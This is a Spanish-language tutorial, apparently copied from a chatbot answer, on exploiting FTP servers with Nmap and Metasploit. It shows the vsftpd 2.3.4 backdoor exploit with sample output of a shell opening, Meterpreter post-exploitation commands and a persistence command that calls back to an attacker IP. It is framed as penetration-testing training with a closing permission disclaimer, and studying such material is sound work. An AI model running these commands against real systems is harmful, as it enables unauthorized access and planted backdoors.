<https://github.com/topics/escaneo>

<https://github.com/Lifka/seguridad-en-servidores-explotacion-de-vulnerabilidades>

<https://github.com/topics/hacking?l=shell&amp;o=asc&amp;s=stars>

La explotación de servicios FTP (File Transfer Protocol) implica encontrar y aprovechar vulnerabilidades en servidores FTP para obtener acceso no autorizado o control del sistema. A continuación, se describen los pasos generales para explotar un servicio FTP, utilizando Metasploit como herramienta de ataque.

**Paso 1: Recolectar Información**

Antes de intentar explotar un servicio FTP, es crucial recolectar información sobre el objetivo. Esto puede incluir el escaneo de puertos para identificar el servicio FTP y recopilar detalles sobre la versión del servidor FTP.

**Escanear Puertos con Nmap**

Utiliza Nmap para escanear el objetivo y encontrar el servicio FTP:

bash

Copy code

nmap -sV -p 21 <target\_ip>

El parámetro -sV permite la detección de versiones, y -p 21 especifica el puerto FTP.

**Paso 2: Identificar Vulnerabilidades**

Una vez que tengas información sobre el servicio FTP, busca vulnerabilidades conocidas asociadas con la versión del servidor FTP identificado. Puedes utilizar bases de datos de vulnerabilidades como CVE (Common Vulnerabilities and Exposures) o herramientas automatizadas como Metasploit para buscar exploits disponibles.

**Paso 3: Usar Metasploit para Explotar el Servicio FTP**

**Cargar Metasploit y Buscar Exploits**

Inicia Metasploit:

bash

Copy code

msfconsole

Busca exploits relacionados con FTP:

bash

Copy code

search ftp

Esto mostrará una lista de exploits disponibles para varios servidores FTP.

**Seleccionar un Exploit**

Por ejemplo, si encuentras una vulnerabilidad en el servicio VSFTPD, puedes usar el exploit correspondiente:

bash

Copy code

use exploit/unix/ftp/vsftpd\_234\_backdoor

**Configurar el Exploit**

Establece las opciones requeridas, como la dirección IP del objetivo (RHOST):

bash

Copy code

set RHOST <target\_ip>

Configura el puerto si es diferente del predeterminado (21):

bash

Copy code

set RPORT 21

**Ejecutar el Exploit**

Ejecuta el exploit para intentar comprometer el objetivo:

bash

Copy code

exploit

Si el exploit es exitoso, obtendrás una sesión interactiva, como una sesión de shell o Meterpreter.

**Paso 4: Post-Explotación**

Una vez que tengas acceso al sistema, puedes realizar varias acciones de post-explotación para mantener el acceso y recolectar información adicional.

**Interactuar con la Sesión**

Por ejemplo, si obtuviste una sesión de Meterpreter:

bash

Copy code

sessions -i 1

Luego puedes ejecutar comandos en la sesión de Meterpreter:

bash

Copy code

meterpreter > sysinfo

meterpreter > getuid

meterpreter > shell

**Mantener el Acceso**

Para mantener el acceso, puedes crear usuarios, instalar backdoors o usar técnicas de persistencia:

bash

Copy code

meterpreter > run persistence -U -i 5 -p 4444 -r <attacker\_ip>

**Ejemplo Completo: Explotación de VSFTPD 2.3.4**

VSFTPD 2.3.4 es una versión conocida por tener una puerta trasera (backdoor). Aquí hay un ejemplo de cómo explotarla:

1. **Iniciar Metasploit**:

bash

Copy code

msfconsole

1. **Buscar y Seleccionar el Exploit**:

bash

Copy code

search vsftpd

use exploit/unix/ftp/vsftpd\_234\_backdoor

1. **Configurar el Exploit**:

bash

Copy code

set RHOST <target\_ip>

set RPORT 21

1. **Ejecutar el Exploit**:

bash

Copy code

exploit

Si es exitoso, deberías ver algo como:

bash

Copy code

[\*] 192.168.1.105:21 - Banner: 220 (vsFTPd 2.3.4)

[\*] 192.168.1.105:21 - USER: 331 Please specify the password.

[\*] 192.168.1.105:21 - Password: 530 Login incorrect.

[\*] 192.168.1.105:21 - Command: TYPE I

[\*] 192.168.1.105:21 - TYPE I response: 200 Switching to Binary mode.

[\*] 192.168.1.105:21 - Sending backdoor command...

[\*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.105:6200)

1. **Interactuar con la Sesión**:

bash

Copy code

sessions -i 1

Ahora puedes ejecutar comandos en el sistema comprometido:

bash

Copy code

whoami

uname -a

**Consideraciones de Seguridad y Ética**

* **Permisos**: Asegúrate de tener permiso explícito para realizar pruebas de penetración en el objetivo.
* **Responsabilidad**: Utiliza estas técnicas de manera ética y legal. El uso indebido puede tener graves consecuencias legales.

Realizando estos pasos, puedes identificar y explotar vulnerabilidades en servicios FTP, mejorando así tus habilidades en pruebas de penetración y seguridad informática.